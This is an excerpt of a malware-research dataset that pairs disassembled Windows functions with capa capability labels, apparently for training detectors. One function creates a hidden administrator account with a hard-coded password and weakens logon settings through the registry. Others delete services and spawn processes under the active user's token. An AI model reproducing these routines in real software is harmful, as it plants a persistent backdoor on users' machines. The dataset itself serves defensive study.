joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007557
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x10012553
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.10001aa0
lea ebx, [esi + 0x14]
xor edi, edi
mov ecx, ebx
mov dword [esp + 0x18], edi
call fcn.10001790
push 0x2000
mov byte [esp + 0x1c], 1
mov dword [esi], 0x100137e8
mov dword [ebx], 0x100137e0
call fcn.1000a8de
mov ebx, dword [0x10013048]
add esp, 4
push edi
push edi
mov dword [esi + 0x8c], eax
mov dword [esi + 0x90], eax
push edi
add eax, 0x18
push edi
mov dword [esi + 0x88], 0x2000
mov dword [esi + 0x94], eax
mov word [esi + 0x34], di
mov word [esi + 0x36], 0xffff
mov dword [esi + 0x2c], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], 0x100000
mov dword [esi + 0x4c], 0x19999
call ebx
push edi
push edi
push edi
push edi
mov dword [esi + 0x48], eax
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], 0x19999
mov dword [esi + 0x30], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x44], edi
call ebx
mov edi, dword [0x10013044]
mov dword [esi + 0x40], eax
lea eax, [esi + 0x58]
push eax
call edi
lea ecx, [esi + 0x70]
push ecx
call edi
mov ecx, dword [esp + 0x10]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x40100a
Capabilities:
Add user account
Add user account to group
Set registry value

Disassembly:
jmp 0x4010a0
sub esp, 0x58
push ebx
push ebp
push esi
push edi
push str.net_user_HOLLiAS_MACS__del
call fcn.00401617
add esp, 4
lea eax, [esp + 0x18]
lea ecx, [esp + 0x20]
mov ebx, 1
push eax
xor esi, esi
push ecx
push ebx
push esi
mov dword [esp + 0x28], esi
mov dword [esp + 0x30], str.HOLLiAS_MACS
mov dword [esp + 0x34], str.3aJbBpoGoqNW
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], 0x10041
mov dword [esp + 0x4c], esi
call sub.NETAPI32.dll_NetUserAdd
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x42]
mov word [esp + 0x40], si
rep stosd dword es:[edi], eax
lea edx, [esp + 0x40]
push str.HOLLiAS_MACS
push edx
stosw word es:[edi], ax
call fcn.004015f2
add esp, 8
lea ecx, [esp + 0x1c]
lea eax, [esp + 0x40]
push ebx
push ecx
push 3
push str.Administrators
push esi
mov dword [esp + 0x30], eax
call sub.NETAPI32.dll_NetLocalGroupAddMembers
call fcn.00401005
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov edi, eax
cmp edi, esi
je 0x401167
lea edx, [esp + 0x10]
push esi
push edx
push esi
push 0xf013f
push esi
push esi
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push 0x80000002
call ebp
jmp 0x40117c
lea eax, [esp + 0x10]
push eax
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonSpecialAccountsUserList
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push esi
mov dword [esp + 0x24], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push str.Administrator
push edx
call ebx
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push esi
push 0x40a98c
push ecx
mov dword [esp + 0x2c], esi
call ebx
cmp edi, esi
je 0x4011d7
lea edx, [esp + 0x10]
push esi
push edx
push esi
push 0xf013f
push esi
push esi
push esi
push str.SYSTEMCurrentControlSetControlLsa
push 0x80000002
call ebp
jmp 0x4011ec
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetControlLsa
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push 4
push ecx
push 4
push esi
push str.forceguest
push edx
mov dword [esp + 0x2c], esi
call ebx
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
Function at 0x401c0b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x401c2b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00403215
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x401c4c
test byte [esp + 8], 2
je 0x401c4c
mov dword [0x40d9a0], 0xd
mov dword [0x40d9a4], 5
jmp 0x401c27
xor eax, eax
ret
Function at 0x10003970
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x10089f40], ecx
inc edx
cmp edx, 0x100
jb 0x10003972
cmp edx, 0x800
jae 0x10003a49
lea esp, [esp]
mov eax, dword [edx*4 + 0x10089b40]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x10089f40]
inc edx
mov dword [edx*4 + 0x10089f3c], eax
cmp edx, 0x800
jb 0x10003a20
mov dword [0x100897a8], 0x10004490
call fcn.10004660
test eax, eax
jne 0x10003a66
mov dword [0x100897a8], 0x10004540
ret
Function at 0x10006410
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
push ebp
mov ebp, dword [ecx]
mov ecx, dword [esp + 0x10]
xor eax, eax
and ebp, 7
cmp ecx, 5
jae 0x10006429
pop ebp
pop ecx
ret
mov edx, dword [esp + 0xc]
push ebx
push esi
mov esi, dword [esp + 0x1c]
add esi, 5
lea edx, [edx + ecx - 4]
push edi
mov dword [esp + 0x20], esi
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0x10], edx
jmp 0x10006450
mov ecx, dword [esp + 0x18]
lea edi, [eax + ecx]
cmp edi, edx
jae 0x1000646d
jmp 0x10006460
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x1000646d
inc edi
cmp edi, edx
jb 0x10006460
mov eax, edi
sub eax, ecx
mov ecx, eax
sub ecx, dword [esp + 0x1c]
cmp edi, edx
jae 0x10006582
cmp ecx, 3
jbe 0x100064a1
xor ebp, ebp
mov cl, byte [edi + 4]
mov dword [esp + 0x1c], eax
test cl, cl
je 0x100064db
cmp cl, 0xff
je 0x100064db
and ebp, 3
add ebp, ebp
or ebp, 1
inc eax
jmp 0x10006450
dec ecx
shl ebp, cl
and ebp, 7
je 0x10006486
movzx ecx, byte [ebp + 0x10079a08]
mov ebx, edi
sub ebx, ecx
cmp byte [ebp + 0x10079a00], 0
mov cl, byte [ebx + 4]
je 0x100064c9
test cl, cl
je 0x100064c9
cmp cl, 0xff
jne 0x10006486
and ebp, 3
add ebp, ebp
mov dword [esp + 0x1c], eax
or ebp, 1
inc eax
jmp 0x10006450
movzx edx, cl
movzx ecx, byte [edi + 3]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 2]
shl edx, 8
or edx, ecx
movzx ecx, byte [edi + 1]
shl edx, 8
or edx, ecx
lea esp, [esp]
cmp dword [esp + 0x28], 0
je 0x1000650e
lea ebx, [edx + eax]
add ebx, esi
jmp 0x10006514
sub edx, eax
sub edx, esi
mov ebx, edx
test ebp, ebp
je 0x10006554
movzx esi, byte [ebp + 0x10079a08]
add esi, esi
add esi, esi
add esi, esi
mov ecx, 0x18
sub ecx, esi
mov edx, ebx
shr edx, cl
test dl, dl
je 0x10006539
cmp dl, 0xff
jne 0x10006550
mov ecx, 0x20
sub ecx, esi
mov esi, dword [esp + 0x20]
mov edx, 1
shl edx, cl
dec edx
xor edx, ebx
jmp 0x10006500
mov esi, dword [esp + 0x20]
mov edx, ebx
shr edx, 0x18
and dl, 1
dec dl
not dl
mov byte [edi + 4], dl
mov edx, ebx
shr edx, 8
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 2], dl
mov edx, dword [esp + 0x10]
mov byte [edi + 3], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x10006450
pop edi
pop esi
pop ebx
cmp ecx, 3
jbe 0x10006595
mov ecx, dword [esp + 0x18]
xor ebp, ebp
mov dword [ecx], ebp
pop ebp
pop ecx
ret
dec ecx
shl ebp, cl
mov ecx, dword [esp + 0x18]
and ebp, 7
mov dword [ecx], ebp
pop ebp
pop ecx
ret
Function at 0x10008250
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c497
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x10088084]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
xor eax, eax
mov dword [ebx + 0x14], 0
mov dword [ebx + 0x18], 7
mov word [ebx + 4], ax
mov dword [ebx + 0x2c], eax
mov dword [ebx + 0x30], 7
mov dword [ebp - 4], eax
mov word [ebx + 0x1c], ax
mov dword [ebx + 0x44], eax
mov dword [ebx + 0x48], 7
mov word [ebx + 0x34], ax
mov dword [ebx + 0x5c], eax
mov dword [ebx + 0x60], 7
mov word [ebx + 0x4c], ax
lea ecx, [ebx + 0x64]
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 7
mov word [ecx], ax
push eax
push 0x1006e3b8
mov byte [ebp - 4], 4
call fcn.10006c20
push 0
push 0x1006e3b8
lea ecx, [ebx + 4]
call fcn.10006c20
push 0
push 0x1006e3b8
lea ecx, [ebx + 0x34]
call fcn.10006c20
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100084a0
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x10088084]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0x1a
lea eax, [ebp - 0x20c]
mov esi, ecx
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100084d2
sub ecx, edx
sar ecx, 1
je 0x1000858f
push edi
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x100084f1
mov eax, dword [0x1006e4a8]
lea edx, [ebp - 0x20c]
mov dword [edi], eax
add edx, 0xfffffffe
nop dword [eax]
mov cx, word [edx + 2]
lea edx, [edx + 2]
test cx, cx
jne 0x10008510
mov ecx, dword [0x1006e4f4]
lea edi, [ebp - 0x20c]
mov dword [edx], ecx
add edi, 0xfffffffe
mov ecx, dword [0x1006e4f8]
mov dword [edx + 4], ecx
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x10008536
mov dword [edi], eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
pop edi
test eax, eax
jne 0x10008565
lea eax, [ebp - 0x20c]
push eax
call fcn.1001139c
add esp, 4
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10008570
sub ecx, edx
lea eax, [ebp - 0x20c]
sar ecx, 1
push ecx
push eax
lea ecx, [esi + 0x1c]
call fcn.10006c20
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10016f2c
mov esp, ebp
pop ebp
ret

Function at 0x10008680
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add ecx, 0x34
cmp dword [ecx + 0x14], 8
jb 0x1000868e
mov ecx, dword [ecx]
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
pop ebp
ret 0xc
Function at 0x100086b0
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x10088084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push 0x5c
push eax
call fcn.1004557a
add esp, 8
xor ecx, ecx
mov word [eax + 2], cx
lea ecx, [ebp - 0x20c]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10008700
push esi
sub ecx, edx
lea eax, [ebp - 0x20c]
push edi
sar ecx, 1
lea edi, [ebx + 4]
push ecx
push eax
mov ecx, edi
call fcn.10006c20
mov ecx, ebx
call fcn.10008830
cmp dword [ebx + 0x30], 8
lea eax, [ebx + 0x1c]
jb 0x10008735
mov eax, dword [eax]
push str.Config
push eax
lea eax, [ebp - 0x20c]
push str._s_s_
push eax
call fcn.10008db0
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x1000876f
lea eax, [ebp - 0x20c]
push eax
call fcn.1001139c
add esp, 4
lea esi, [ebx + 0x34]
cmp esi, edi
je 0x1000878b
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x10008780
mov eax, dword [edi]
push dword [edi + 0x10]
mov ecx, esi
push eax
call fcn.10006c20
push 7
push 0x1006e4ac
mov ecx, esi
call fcn.10007f60
mov ecx, ebx
call fcn.10008b10
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.10045420
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x100087be
mov esi, dword [esi]
push esi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push str.NULL
push str.4e438
push str.JzSetting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x20c]
pop edi
lea edx, [ecx + 2]
pop esi
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100087f0
sub ecx, edx
lea eax, [ebp - 0x20c]
sar ecx, 1
push ecx
push eax
lea ecx, [ebx + 0x64]
call fcn.10006c20
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop ebx
call fcn.10016f2c
mov esp, ebp
pop ebp
ret 4
Function at 0x10008b10
Capabilities:
Check if file exists
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006c4cb
mov eax, dword fs:[0]
push eax
sub esp, 0x218
mov eax, dword [0x10088084]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x48], 8
lea eax, [esi + 0x34]
jb 0x10008b4b
mov eax, dword [eax]
push eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push str.PadPdfJz.exe
push str.ea30e
push str.JzSetting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10008b76
sub ecx, edx
lea eax, [ebp - 0x218]
sar ecx, 1
lea edi, [esi + 0x4c]
push ecx
push eax
mov ecx, edi
call fcn.10006c20
cmp dword [esi + 0x5c], 0
je 0x10008bb6
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x10008ba7
mov eax, dword [edi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x10008ced
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
cmp dword [esi + 0x18], 8
lea eax, [esi + 4]
mov dword [ebp - 4], 0
jb 0x10008be6
mov eax, dword [eax]
push 0
lea ecx, [ebp - 0x224]
push ecx
push str..exe
push eax
call fcn.1001187d
mov ebx, dword [ebp - 0x220]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x224]
mov ecx, ebx
sub ecx, esi
add esp, 0x10
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x10008c45
cmp edi, esi
je 0x10008c45
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x10008c2e
mov eax, dword [esi]
push dword [esi + 0x10]
mov ecx, edi
push eax
call fcn.10006c20
mov ebx, dword [ebp - 0x220]
mov esi, dword [ebp - 0x224]
test esi, esi
je 0x10008ced
cmp esi, ebx
je 0x10008caa
mov ecx, dword [esi + 0x14]
cmp ecx, 8
jb 0x10008c8a
mov eax, dword [esi]
lea ecx, [ecx*2 + 2]
cmp ecx, 0x1000
jb 0x10008c80
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10008d09
mov eax, edx
push ecx
push eax
call fcn.10016f10
add esp, 8
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
add esi, 0x18
cmp esi, ebx
jne 0x10008c51
mov esi, dword [ebp - 0x224]
mov ecx, dword [ebp - 0x21c]
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x10008ce3
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10008d09
push ecx
push esi
call fcn.10016f10
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10016f2c
mov esp, ebp
pop ebp
ret
call fcn.10048a49
int3
Function at 0x10009170
Capabilities:
Delete registry value
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10088084]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0xf003f
push 0
push 0
mov dword [ebp - 0x28], esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x100092b1
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x100092b1
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 1
je 0x100091d7
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call edi
push ebx
call edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x100092b1
push 0xf01ff
push dword [ebp - 0x28]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x100092b1
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x100092b1
push esi
call edi
test eax, eax
je 0x100092b1
push ebx
call edi
lea eax, [ebp - 0x24]
push eax
push 0xf003f
push 0
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersionSvchost
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10009299
push str.LocalWorkSvc
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
call fcn.100080e0
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x1c]
call fcn.100069f0
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016f2c
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10016f2c
mov esp, ebp
pop ebp
ret 4
Function at 0x10009770
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x10088084]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push 0x100
push dword [eax]
lea eax, [ebp - 0x204]
push eax
call fcn.1004d0d9
add esp, 0xc
lea eax, [ebp - 0x204]
push 0x100096c0
push eax
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov dword [0x10088f98], eax
test eax, eax
je 0x1000989c
call dword [sym.imp.KERNEL32.dll_FreeConsole]
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0x10
push eax
push dword [0x10088f98]
mov dword [0x10088f94], 2
mov dword [ebp - 0x21c], 2
mov dword [ebp - 0x218], 7
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 1
mov dword [ebp - 0x208], 0xbb8
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0x10
push eax
push dword [0x10088f98]
mov dword [0x10088f94], 4
mov dword [ebp - 0x21c], 4
mov dword [ebp - 0x218], 7
mov dword [ebp - 0x214], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xbb8
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0
push 0
push 0
push 0x10009940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10016f2c
mov esp, ebp
pop ebp
ret 8

Function at 0x100098b0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x10009940
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
ret

Function at 0x1000b604
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
xor eax, eax
xor ecx, ecx
xor esi, esi
push edi
cmp dword [ebp + 0xc], eax
jle 0x1000b6f6
mov edi, dword [ebp + 8]
mov dl, byte [esi + edi]
movzx ebx, dl
cmp dl, 0x3d
jne 0x1000b631
inc ecx
cmp ecx, 2
jg 0x1000b6fd
cmp dl, 0x7f
ja 0x1000b6fd
mov dl, byte [ebx + 0x1006fb58]
cmp dl, 0x7f
je 0x1000b6fd
cmp dl, 0x40
jae 0x1000b656
test ecx, ecx
jne 0x1000b6fd
inc eax
inc esi
cmp esi, dword [ebp + 0xc]
jl 0x1000b61c
test eax, eax
je 0x1000b6f6
mov edi, dword [ebp + 0x14]
imul eax, eax, 6
add eax, 7
sar eax, 3
cmp dword [edi], eax
jge 0x1000b67e
mov dword [edi], eax
push 0xfffffffffffffff0
jmp 0x1000b6ff
mov edx, dword [ebp + 0x10]
xor eax, eax
xor ebx, ebx
mov dword [ebp + 0xc], eax
test esi, esi
jle 0x1000b6f1
mov eax, dword [ebp + 8]
push 3
pop edi
movzx eax, byte [eax]
mov cl, byte [eax + 0x1006fb58]
xor eax, eax
cmp cl, 0x40
sete al
shl ebx, 6
sub edi, eax
movzx eax, cl
mov ecx, dword [ebp + 0xc]
and eax, 0x3f
or ebx, eax
inc ecx
mov dword [ebp + 0xc], ecx
cmp ecx, 4
jne 0x1000b6e2
xor eax, eax
mov dword [ebp + 0xc], eax
test edi, edi
jle 0x1000b6cd
mov eax, ebx
shr eax, 0x10
mov byte [edx], al
inc edx
cmp edi, 1
jle 0x1000b6da
mov eax, ebx
shr eax, 8
mov byte [edx], al
inc edx
cmp edi, 2
jle 0x1000b6e2
mov byte [edx], bl
inc edx
mov eax, dword [ebp + 8]
dec esi
inc eax
mov dword [ebp + 8], eax
test esi, esi
jg 0x1000b692
mov edi, dword [ebp + 0x14]
sub edx, dword [ebp + 0x10]
mov dword [edi], edx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
push 0xffffffffffffffee
pop eax
jmp 0x1000b6f8
Function at 0x1000def3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp word [ebp - 0x24], 9
je 0x1000df15
cmp word [ebp - 0x24], 6
je 0x1000df15
xor eax, eax
leave
ret
xor eax, eax
inc eax
leave
ret

Function at 0x1000e067
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
lea eax, [ebp - 8]
xor ebx, ebx
push eax
mov edi, 0xf01ff
mov dword [ebp - 8], ebx
push edi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x1000e1b6
lea eax, [ebp - 0x10]
push eax
push 1
push 1
push ebx
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1000e1b6
push str.Kernel32.dll
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x1000e101
push str.WTSGetActiveConsoleSessionId
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000e0fa
call eax
push 4
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0xc
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x1000e1b6
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.Wtsapi32.dll
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x1000e1db
push str.WTSQueryUserToken
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000e14d
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], ebx
push ecx
push dword [ebp - 0x14]
call eax
push ebx
push dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
call sub.USERENV.dll_CreateEnvironmentBlock
push dword [ebp - 0xc]
test eax, eax
jne 0x1000e14b
call esi
jmp 0x1000e1b6
call esi
push 0x44
pop edi
push edi
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.10045420
push 0x10
lea eax, [ebp - 0x24]
push ebx
push eax
call fcn.10045420
add esp, 0x18
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x60], str.WinSta0Default
mov dword [ebp - 0x3c], 1
push 5
pop eax
mov word [ebp - 0x38], ax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x68]
push eax
push ebx
push dword [ebp - 4]
push 0x430
push ebx
push ebx
push ebx
push dword [ebp + 8]
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x1000e1b6
cmp dword [ebp - 4], ebx
je 0x1000e1b4
push dword [ebp - 4]
call sub.USERENV.dll_DestroyEnvironmentBlock
mov bl, 1
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1000e1c5
cmp eax, 0xffffffff
je 0x1000e1c5
push eax
call esi
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x1000e1d4
cmp ecx, 0xffffffff
je 0x1000e1d4
push ecx
call esi
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
push ebx
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
jne 0x1000e14d
push dword [ebp - 8]
jmp 0x1000e147